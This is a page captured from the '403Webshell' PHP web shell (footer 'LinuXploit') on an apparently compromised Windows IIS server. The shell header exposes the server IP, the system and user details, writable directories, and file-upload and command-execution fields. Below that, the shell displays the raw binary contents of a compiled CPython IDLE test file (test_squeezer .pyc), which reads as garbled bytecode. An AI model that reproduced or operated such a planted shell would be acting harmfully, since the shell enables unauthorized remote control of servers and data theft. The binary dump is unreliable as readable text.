403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.145
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/idle_test/__pycache__/test_squeezer.cpython-315.opt-2.pyc
R
>lqj�Nc�x�]QHGs]QHGsGs]PHs]QHGsGsG	s	G
s
Gs]QH0G
s
]QH8Gs]QH@Gs]QHHGsGsGs]QHXGs]Q	H`Gs]Q
HhGs\
O8sQsQQ
\O<2sQQ\O<2s QQ\O<2s!\"Q6Xc\OF]Q5P!P!)�)�dedent)�Text�Tk)�Mock�NonCallableMagicMock�patch�sentinel�ANY)�requires)�idleConf)�
Percolator)�count_lines_with_wrapping�ExpandingButton�Squeezer)�macosx)�	view_text)�Hovertipc�`�[Q2[2nRO2U1QkoUOU2R!)�guic�J:�RO2RO2P!�N)�update_idletasks�destroy��roots��4C:\Python315\\Lib\idlelib\idle_test\test_squeezer.py�cleanup_root�&get_test_tk_root.<locals>.cleanup_roots�����������)r
r�withdraw�
addCleanup)�
test_instancerrs& @r�get_test_tk_rootr"s4����U�O�
�4�D��M�M�O�����\�*��Krc�R`�\sQs]"snQsQsQsQsQsQs	Qs
QsQ	sUs
P!)
�CountLinesTestc�:�UOU[V#22!r��assertEqualr
)�self�expected�text�	linewidths&&&&r�check�CountLinesTest.check$s ������%�d�6�
�	
rc�>�UO[P2]2P!)�r&�r(s&r�test_count_empty�CountLinesTest.test_count_empty*s�����2�2�6��:rc�>�UO[Q2]2P!)z
textr&r0s&r�!test_count_begins_with_empty_line�0CountLinesTest.test_count_begins_with_empty_line.������2�8�<�a�@rc�>�UO[Q2]2P!)ztext
r&r0s&r�test_count_ends_with_empty_line�.CountLinesTest.test_count_ends_with_empty_line2r6rc�>�UO[Q2]2P!)z1
2
3
r&r0s&r�test_count_several_lines�'CountLinesTest.test_count_several_lines6s�����2�;�?��Crc��UO]Q]PQ5UO]Q]PQ5UO]
Q]PQ5P!)��
�r)r*r+�

z










�r,r0s&r�test_empty_lines�CountLinesTest.test_empty_lines:s8���
�
�A�D�B�
�7��
�
�A�F�b�
�9��
�
�B�Y�"�
�=rc�X�UO]Q]PQ5UO]Q]PQ5P!)�r@��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaz�aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
rBr0s&r�test_long_line�CountLinesTest.test_long_line?s'���
�
�A�I��
�<��
�
�A�$4��
�Crc���[Q2oUO]U]PQ5UO]UQ*]PQ5UO]U](Q5UO]U]Q5UO]U]
Q5P!)z�            13 characters
            43 is the number of characters on this line

            7 chars
            13 charactersr@r?)rr,)r(r*s& r�$test_several_lines_different_lengths�3CountLinesTest.test_several_lines_different_lengthsCsq������	
�
�
�A�D�B�
�7��
�
�A�D�4�K�2�
�>��
�
�A�D�B�
�7��
�
�A�D�B�
�7��
�
�B�T�R�
�8r�)�__name__�
__module__�__qualname__�__firstlineno__r,r1r4r8r;rCrHrK�__static_attributes__�__classdictcell__��
__classdict__s@rr$r$"s6����
�;�A�A�D�>�
D�9�9rr$c�`�\sQs]QsnQQksQQksQQksQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsUsP!)�SqueezerTestc���[2o]PUmU%cE[U2UmUO	UOQ5oU9UmUOmU!)�Pr)r�widthr"r�make_text_widgetr*�per�bottom)r(�with_text_widget�editwin�text_widgets&&  r�make_mock_editor_window�$SqueezerTest.make_mock_editor_windowSsO��&�(����
��+�D�1�G�L��/�/�W�\�\�/�B�K�0;�;�G�L�7�;�;�-��rc�F�UeUO2o[U2oU!r)rar)r(�
editor_window�squeezers&& r�make_squeezer_instance�#SqueezerTest.make_squeezer_instance_s%��� � �8�8�:�M��M�*���rc�j�Ue[U2o[U2oQUQ$UOQQ2U!)N�font�iomark�1.0)�Courier�
)r"r�mark_set)r(rr`s&& rr[�SqueezerTest.make_text_widgetfs:���<�#�D�)�D��4�j��-��F�����X�u�-��rc��[OVU2o[OVV42UO[OVV52P!r)r�	GetOption�	SetOptionr )r(�
configType�section�option�value�prev_vals&&&&& r� set_idleconf_option_with_cleanup�-SqueezerTest.set_idleconf_option_with_cleanupns=���%�%�j�6�B�����:��>�����*�*�"�V�	?rc��UO2oUOU2oQFD�vq4oUOUUUQ59^tt^2[U2o[O
UQU29^tt^2UO
UOU2U2PPP2PPP2J�	P!)%fhK9h)%fhJ�9h)�'\n')�	text_code�
line_widthr)rZ))r{rYr>)z'\n' * 3rYrF)z'a' * 40 + '\n'rYr>)z'a' * 80 + '\n'rYr>)z'a' * 200 + '\n'rYrF)�'aa\t' * 20rY�)z'aa\t' * 21rYrF)r~�(�)rarf�subTest�evalr�objectr'�count_lines)r(r_rer|r}r)r*s&      r�test_count_lines�SqueezerTest.test_count_linests����.�.�0���.�.�w�7��	0
�+�I�8����	�)3�'/��1�1��I����\�\�'�7�J�?�?��$�$�X�%9�%9�$�%?��J�@�	1�1�	0
�@�?��	1�1�1�s0�,B?	�4"B,
�B?	�,B<�5B<�7B?	�?C
�C
c��UO2oUOU2oUOUOU2UO	UO
,2P!r)rarf�assertIsr_r'�expandingbuttons)r(r_res&  r�	test_init�SqueezerTest.test_init�sJ���.�.�0���.�.�w�7���
�
�h�&�&��0�����2�2�B�7rc��UO2oPQQQ*Q1FD�o[[Q59UmoUO	U2oUOUOOUQ2[2UOUO]2UOUQ2UO[UO2]2J�	P!)r/�TEXT�	LONG TEXT����return_value�LMANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
MANY_LINES
rM)rar�SENTINEL_VALUE�writerfr'r_�
call_count�assert_called_with�lenr��r(r_r*�
orig_writeres&    r�test_write_no_tags�SqueezerTest.test_write_no_tags�s����.�.�0�����t�!3�5I�J�D�)-�>�)J�J�G�M�J��2�2�7�;�H����X�-�-�3�3�D�"�=�~�N����Z�2�2�A�6��)�)�$��3����S��!:�!:�;�Q�?�Krc��PQQQ*Q1FD�oUO2o[UOmUOoUO	U2oUOUOOUQ2[2UOUO]2UOUQ2UO[UO2]2J�	P!)r/r�r�r��stderrr�)rar�r�r�rfr'r_r�r�r�r�)r(r*r_r�res&    r�test_write_not_stdout�"SqueezerTest.test_write_not_stdout�s������t�!3�5I�J�D��2�2�4�G�)7�G�M�M�&� ���J��2�2�7�;�H����X�-�-�3�3�D�(�C�,�
.����Z�2�2�A�6��)�)�$��9����S��!:�!:�;�Q�?�Krc��[Q2UO2oQFD�o[[Q59UmoUOU2o]2UmUOUOO	UQ2[2UOUO]2UOUQ2UO[UO2]2J�	QQ*Q1FD�o[[Q59UmoUOU2o]2UmUOUOO	UQ2P2UOUO]2UO[UO2]2J�	P!)rr��stdoutr�r�)r/r�r�)
r
rarr�r�rf�auto_squeeze_min_linesr'r_r�r�r�r�r�s&    r�test_write_stdout�SqueezerTest.test_write_stdout�sE������.�.�0�� �D�)-�>�)J�J�G�M�J��2�2�7�;�H�.0�H�+����X�-�-�3�3�D�(�C�+�
-����Z�2�2�A�6��)�)�$��9����S��!:�!:�;�Q�?�!�!�4�'�)=�>�D�)-�>�)J�J�G�M�J��2�2�7�;�H�.0�H�+����X�-�-�3�3�D�(�C�T�J����Z�2�2�A�6����S��!:�!:�;�Q�?�?rc�H�UOP	Q5oUOoUOU2o]Um[	]Q5UmUO
QQ2UOUOQQ2Q2UO[UO2]2P!)T�r^r�r�rk�endr?zTEXT
TEXT
TEXT
TEXT
TEXT
TEXT
)rar*rfr�rr�r�r'�getr�r�)r(r_r`res&   r�test_auto_squeeze�SqueezerTest.test_auto_squeeze�s����.�.��.�E���l�l���.�.�w�7��*+��'�#��3����
�
�j�(�+���������6��=�����X�6�6�7��;rc�t�QFCD�oUOP	Q5oUOoUOU2o[]Q5UmUOQQU2UO
QQ2UOUOQQ2Q2UO[UO2]2UO2oUOUQ2UOUOQQ2Q	2UO[UO2]2UOUO]*OQ
2UO]*O2UOUOQQ2Q2UO[UO2]2CJ�	P!)r�r�r�rk�
SOME
TEXT
�insertr��SOME
TEXT

�breakrAz	SOME
TEXT)r�r�)rar*rfrr�r�rnr'r�r�r��squeeze_current_text�s�expand)r(�tag_namer_r`re�retvals&     r�test_squeeze_current_text�&SqueezerTest.test_squeeze_current_text�si��-�H��2�2�D�2�I�G�!�,�,�K��2�2�7�;�H�#'�Q�#7�H� �
���u�n�h�?�� � ��5�1����[�_�_�U�E�:�<L�M����S��!:�!:�;�Q�?��2�2�4�F����V�W�-����[�_�_�U�E�:�F�C����S��!:�!:�;�Q�?����X�6�6�q�9�;�;�\�J�
�%�%�a�(�/�/�1����[�_�_�U�E�:�<L�M����S��!:�!:�;�Q�?�1-rc�2�UOP	Q5oUOoUOU2o[]Q5UmUOQQQ2UO
QQ2UOUOQQ2Q2UO[UO2]2UO2oUOUQ	2UOUOQQ2Q2UO[UO2]2P!)
Tr�r�rkr��TAGr�r�r�r�)rar*rfrr�r�rnr'r�r�r�r��r(r_r`rer�s&    r�)test_squeeze_current_text_no_allowed_tags�6SqueezerTest.test_squeeze_current_text_no_allowed_tags�s����.�.��.�E���l�l���.�.�w�7��#��3���	���5�.�%�8����X�u�-���������6�8H�I�����X�6�6�7��;��.�.�0�������)���������6�8H�I�����X�6�6�7��;rc���UOP	Q5oUOoUOU2o[]Q5UmUOQQQ2UO
QQ2UO2UO[UO2]2UOQQQ2UO
QQ2UO2oUOUQ2UOUOQQ	2Q
2UO[UO2]2UOUOUO]*QUO]*22P!)Tr�r�rkr�r�r�zMORE
STUFF
r�r�z


�<)rar*rfrr�r�rnr�r'r�r�r��
assertTrue�comparer�s&    r�/test_squeeze_text_before_existing_squeezed_text�<SqueezerTest.test_squeeze_text_before_existing_squeezed_texts6���.�.��.�E���l�l���.�.�w�7��#��3���	���5�.�(�;����X�u�-��%�%�'�����X�6�6�7��;�	���5�/�8�<����X�u�-��.�.�0�������)���������6��A�����X�6�6�7��;�����+�+��%�%�a�(���%�%�a�(�
�	rc��UOP	Q5oUOU2oUOoU]
*oUOQQQ[	U22[
O2UOUOU2P!)Tr��main�PyShellzauto-squeeze-min-lines)rarfr�rx�strr�reloadr')r(r_re�orig_auto_squeeze_min_lines�new_auto_squeeze_min_liness&    r�test_reload�SqueezerTest.test_reloads����.�.��.�E���.�.�w�7��&.�&E�&E�#�&A�2�%E�"��-�-��I�7��*�+�	-�	��������8�8�3�	5rc�2�[O2P!r)rr�r0s&r�!test_reload_no_squeezer_instances�.SqueezerTest.test_reload_no_squeezer_instances,s�����rrM)Fr)rNrOrPrQrarfr[rxr�r�r�r�r�r�r�r�r�r�r�rRrSrTs@rrWrWQsZ����
���?�K�,8�
@�@�@�2
<�@�:<�(�45�"�rrWc�f`�\sQsQsnQs\Q\Q5Q2sQsQs	Qs
Q	sQ
sQs
UsP!)�ExpandingButtonTest�1c�.�[U2o[2o[U2UOm[UOO2UOmUOUOOO2]2Um	U!)�2)
r"rrr_r*rr\r �closer�)r(rres&  r�make_mock_squeezer�&ExpandingButtonTest.make_mock_squeezer5sq����%���6�� $�T�
�����)�(�*:�*:�*?�*?�@���������(�(�,�,�2�2�3�+-��'��rzidlelib.squeezer.Hovertip��autospecc��UO2oUOOo[QQ]2U2oUO	UO
Q2UO	UOU2UOQUOQ272UO	UOQQ2Q2UOQUO22Q[O2%cQ	LQ
*oUOVTO22UO	UO]2UOU[ [ Q5UO"]*]*oUOQUO%22P!)
r��TAGSz50 linesr*rkr�r?z<Double-Button-1>z<Button-%s>�2�3)�hover_delayzright-click)r�r_r*rr'r��masterr��cgetr��assertIn�bindr�isAquaTkr�r�r	�	call_args�lower)r(�MockHovertiprer`�expandingbutton�right_button_code�tooltip_texts&&     rr��ExpandingButtonTest.test_initAs>���*�*�,���&�&�+�+��)�&�&�"�h�G������*�*�F�3�	
����/�/��=����
�o�&:�&:�6�&B�B�C�	
��������6��=�	
�
�
�)�?�+?�+?�+A�B�)�F�O�O�4E�4E�S�3�O���
�
�'�)=�)=�)?�@�	
����0�0�!�4��'�'���#�'�N�$�-�-�a�0��3���
�
�m�\�%7�%7�%9�:rc��UO2o[QQ]2U2oUOOoUO	QUQ5UO[
2Q5oUOUP2UOUOQQ2Q2UOQ2oUOUOQU2Q2UOUOQQ2QU12UOUOOO]2UOOOU2P!)r�r�rk��window��eventr�zTEXT
�end-1c)r�rr_r*�
window_creater�rr'r��index�
tag_nextranger��remover�r�)r(rer�r`r��text_end_indexs&     r�test_expand�ExpandingButtonTest.test_expand^s���*�*�,��)�&�&�"�h�G���&�&�+�+���!�!�%��!�@�!�'�'�d�f�'�5�������&�	
��������6��A�%�*�*�8�4����������?��H�����2�2�6�5�A� �.�1�	3�	
����2�2�9�9�D�D�a�H��!�!�(�(�;�;�O�Lrc��UO2oQQ*o[UQ]2U2oUO2UOUO2UO
oUO
QUQ5[Q29^tt^2oP
UOm	P
UOm	UO[2Q5oPPP2UOWQ2UOUO
OQQ2P2[Q29^tt^2oP	UOm	P	UOm	UO[2Q5oPPP2UOUP2UOUO
OQQ2U2P!)%fhK�9h)%fhKc9h)	�ar�rkr�zidlelib.squeezer.messageboxr�r�r�i��)r�r�set_is_dangerousr��is_dangerousr*r�r�askokcancelr��askyesnor�rr'r�)r(rer*r�r`�mock_msgboxr�s&      r�test_expand_dangerous_oupput�0ExpandingButtonTest.test_expand_dangerous_oupputyso���*�*�,���U�{��)�$���H�E���(�(�*�����4�4�5�&�*�*���!�!�%��!�@��0�
1�
1�[�38�K�#�#�0�05�K� � �-�$�+�+�$�&�+�9�F�	2�	
�����)�����-�-�1�1�%��B�B�G��0�
1�
1�[�37�K�#�#�0�04�K� � �-�$�+�+�$�&�+�9�F�	2�	
�����&�����-�-�1�1�%��B�D�I�'2�
1��2�
1�s$�=F!�=F4�!F1	�*F1	�4G	�=G	c��UO2o[QQ]2U2o[2Um[2UmUO[2Q5oUO
UP2UO
UOO]2UO
UOO]2UOOQ2P!)r�r�r�)	r�rr�clipboard_clear�clipboard_append�copyr'r�r�)r(rer�r�s&   r�	test_copy�ExpandingButtonTest.test_copy�s���
�*�*�,��)�&�&�"�h�G��*.�&��'�+/�6��(�!�%�%�D�F�%�3�������&�	
����8�8�C�C�Q�G�����9�9�D�D�a�H��(�(�;�;�F�Crc��UO2o[QQ]2U2o[2Um[	Q[
Q59^tt^2oUO
[2Q5UOUO]2UOUO]*]*Q2PPP2P!)%fhP!9h)r�r�zidlelib.squeezer.view_textr�r�)
r�rr�
selection_ownrr�viewr'r�r�)r(rer��mock_view_texts&   r�	test_view�ExpandingButtonTest.test_view�s����*�*�,��)�&�&�"�h�G��(,���%�
�/�)�
D�
D�!�� � �t�v� �.�
���^�6�6��:�
���^�5�5�a�8��;�V�D�E�
D�
D�
D�s�A!B3�3C	�<C	c	��UO2o[QQ]2U2o[Q29^tt^2o[2oVCm[2o]
Um]
UmUOUQ5UOUOO[UO22UOFD%uqgUOOU[Q5J'	PPP2P!)%fhP!9h)r�r�ztkinter.Menur�)�label�command)r�rrrr��x�y�context_menu_eventr'�add_commandr�r��rmenu_specs�assert_any_callr	)r(rer��	mock_Menu�	mock_menu�
mock_eventr
�datas&       r�
test_rmenu�ExpandingButtonTest.test_rmenu�s����*�*�,��)�&�&�"�h�G��
�>�
"�
"�i���I�%.�"���J��J�L��J�L��.�.�Z�.�@����Y�2�2�=�=� ��!<�!<�=�
?� /� ;� ;����%�%�5�5�E�3�5�O�!<�#�
"�
"�
"�s�B*C'�'C8	�0C8	rM)rNrOrPrQr�rrr�r�r�rr
rrRrSrTs@rr�r�1sK����
��&��:�;�;�;�8M�6!J�FD�(E�"P�Prr��__main__)�	verbosity)$�textwrapr�tkinterrr�unittest�
unittest.mockrrrrr	�test.supportr
�idlelib.configr�idlelib.percolatorr�idlelib.squeezerr
rr�idlelibr�idlelib.textviewr�idlelib.tooltiprr�r"�TestCaser$rWr�rNr�rMrr�<module>r)s������J�J�!�#�)�
�
��&�$��(�(���,9�X�&�&�,9�^]�8�$�$�]�@^P�(�+�+�^P�B�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit